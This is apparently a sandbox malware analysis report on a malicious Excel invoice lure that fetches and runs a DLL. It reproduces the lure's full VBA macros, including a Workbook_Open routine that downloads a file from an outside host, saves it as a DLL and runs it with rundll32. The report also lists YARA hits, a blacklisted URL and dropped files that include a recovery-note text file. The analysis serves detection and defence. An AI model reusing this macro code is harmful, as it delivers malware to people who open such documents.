VTI SCORE: 100/100
Dynamic Analysis Report |
Classification: |
Downloader
|
Threat Names: |
Mal/HTMLGen-A
|
Ponuda-2020-0231.xlsm
Excel Document
Created at 2020-01-09T14:30:00
This is a filtered view
This list contains only the embedded files, downloaded files, and dropped files
Filters: |
There are no files for this filter
There are no files in this analysis
Filename | Category | Type | Severity | Actions |
---|
C:\Users\aETAdzjz\Desktop\Ponuda-2020-0231.xlsm | Sample File | Unknown |
Malicious
|
...
|
»
Office Information
»
Create Time | 2019-06-15 17:41:26+00:00 |
Modify Time | 2020-01-09 12:53:50+00:00 |
Document Information
»
Application | Microsoft Excel |
App Version | 16.0300 |
Document Security | NONE |
Titles Of Parts | 'Service Invoice'!Print_Area, Service Invoice |
ContentTypeId | ['0x01010079F111ED35F8CC479449609E8A0923A6'] |
ScaleCrop |
![]() |
SharedDoc |
![]() |
VBA Macros (3)
»
Macro #1: Module1
»
Attribute VB_Name = "Module1"
Sub Execute()
Dim wsh As Object
Set wsh = VBA.CreateObject("WScript.Shell")
Dim waitOnReturn As Boolean: waitOnReturn = False
Dim windowStyle As Integer: windowStyle = 1
wsh.Run "rundll32.exe Afrodita.dll,Sura", windowStyle, waitOnReturn
End Sub
Macro #2: Module2
»
Attribute VB_Name = "Module2"
Sub RemoveBanner()
Attribute RemoveBanner.VB_ProcData.VB_Invoke_Func = " \n14"
'
' RemoveBanner Macro
'
'
ActiveSheet.Shapes.Range(Array("Picture 2")).Select
Selection.Delete
End Sub
Macro #3: ThisWorkbook
»
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Call RemoveBanner
Dim myURL As String
Dim appdata As String
Dim wstring As String
myURL = "http://riskpartner.hr/wp-content/notnice.jpg"
appdata = CStr(Environ("USERPROFILE") & "\Application Data")
wstring = "Afrodita.dll"
Dim WinHttpReq As Object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "username", "password"
WinHttpReq.send
myURL = WinHttpReq.responseBody
If WinHttpReq.Status = 200 Then
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1
oStream.Write WinHttpReq.responseBody
oStream.SaveToFile wstring, 2 ' 1 = no overwrite, 2 = overwrite
oStream.Close
End If
Call Execute
End Sub
YARA Matches (3)
»
Rule Name | Rule Description | Classification | Score | Actions |
---|---|---|---|---|
VBA_Execution_Commands | VBA macro may execute files or system commands | - |
3/5
|
...
|
VBA_Create_File | VBA macro contains file creation commands; possible dropper | - |
3/5
|
...
|
VBA_Download_Commands | VBA macro may attempt to download external content; possible dropper | - |
3/5
|
...
|
Embedded URLs (1)
»
URL | First Seen | Categories | Threat Names | Reputation Status | WHOIS Data |
---|---|---|---|---|---|
http://riskpartner.hr/wp-content/notnice.jpg | - | malware | - |
Blacklisted
|
Not Queried
|
c:\users\aetadzjz\appdata\roaming\microsoft\windows\ietldcache\index.dat | Modified File | Stream |
Unknown
|
...
|
»
C:\Users\aETAdzjz\Music\\__README_RECOVERY_.txt | Dropped File | Stream |
Unknown
|
...
|
»
C:\Users\aETAdzjz\AppData\Local\Temp\_uninsep.bat | Dropped File | Batch |
Unknown
|
...
|
»
C:\Users\aETAdzjz\Desktop\Afrodita.dll | Downloaded File | Binary |
Unknown
|
...
|
»
vbaProject.bin | Embedded File | Unknown |
Unknown
|
...
|
»